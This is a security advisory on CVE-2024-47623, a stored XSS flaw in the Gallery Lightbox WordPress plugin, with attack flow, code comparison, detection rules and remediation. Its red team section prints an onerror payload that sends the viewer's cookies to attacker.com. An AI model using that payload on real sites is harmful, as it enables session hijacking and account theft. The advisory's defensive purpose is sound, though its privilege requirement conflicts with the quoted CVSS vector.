CVE-2024-47623

Executive Summary

CVE-2024-47623 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Gallery Lightbox (gallery-lightbox-slider) by GhozyLab. The vulnerability affects all versions up to and including 1.0.0.39. An attacker with contributor-level access or higher can inject malicious JavaScript into gallery entries, which will execute when an administrator or other user views the gallery page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is unpatched as of the latest advisory, and no public exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must view the malicious gallery)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity is due to the requirement for user interaction and the limited impact on confidentiality, integrity, and availability. However, in a WordPress context, an attacker could escalate privileges by targeting an administrator.

Deep Dive & Mechanics

The vulnerability exists in the gallery-lightbox-slider plugin's handling of gallery item titles, descriptions, or other metadata fields. The plugin fails to properly sanitize or escape user-supplied input before storing it in the database and later rendering it in the admin or frontend gallery view. This allows an attacker with contributor-level access (or higher) to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with contributor-level access creates or edits a gallery item.
2. The attacker inserts a malicious payload into a field such as the title or description, e.g., <img src=x onerror=alert('XSS')>.
3. The plugin stores the payload without sanitization.
4. When an administrator or other user views the gallery page (e.g., via a shortcode or widget), the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's rendering functions. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (PHP):

echo '<div class="gallery-item">' . $item['title'] . '</div>';

Patched Code (Hypothetical):

echo '<div class="gallery-item">' . esc_html( $item['title'] ) . '</div>';

The esc_html() function would encode HTML special characters, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with Gallery Lightbox plugin version <= 1.0.0.39.
• A user account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Navigate to the gallery editor (e.g., /wp-admin/admin.php?page=gallery-lightbox-slider).
3. Create a new gallery item.
4. In the title field, inject a payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

5. Save the gallery item.
6. As an administrator, view the gallery page. The payload executes, sending the admin's cookies to the attacker's server.

Note: No public exploit code is available, so this is a manual exploitation scenario.

Blue Team

Detection:

• Monitor for unusual gallery item creation or modification by low-privileged users.
• Look for HTTP requests to unknown external domains from the WordPress admin interface.
• Use the detection rules provided below.

Mitigation:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in gallery fields.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/gallery-lightbox-slider/ (entire plugin directory)
• Database: Entries in wp_postmeta or custom plugin tables containing <script> or onerror attributes.
• Network: Outbound HTTP requests to unknown domains originating from the WordPress admin IP.
• Logs: WordPress debug log entries showing unexpected HTML in gallery fields.

Detection Engineering

YARA Rule

rule CVE_2024_47623_Gallery_Lightbox_XSS {
    meta:
        description = "Detects malicious payloads in Gallery Lightbox plugin files"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47623"
    strings:
        $xss_payload = /<[^>]*\s+on\w+\s*=[^>]*>/i
        $plugin_path = /gallery-lightbox-slider/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: CVE-2024-47623 Stored XSS in Gallery Lightbox
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in Gallery Lightbox plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.url|contains: '/wp-content/plugins/gallery-lightbox-slider/'
        http.body|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in gallery descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47623 Stored XSS in Gallery Lightbox"; flow:to_server,established; content:"/wp-content/plugins/gallery-lightbox-slider/"; http_uri; pcre:"/<[^>]*\s+on\w+\s*=[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review user roles and remove contributor access for untrusted users.
3. Scan the database for existing XSS payloads using the YARA rule above.

Long-term:

• Monitor the plugin's repository for updates.
• Consider replacing the plugin with an alternative that is actively maintained.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• If the plugin must remain active, add a custom filter to sanitize gallery fields:

  add_filter( 'gallery_lightbox_item_title', 'esc_html' );
  

Valters IT
Securing Digital Frontiers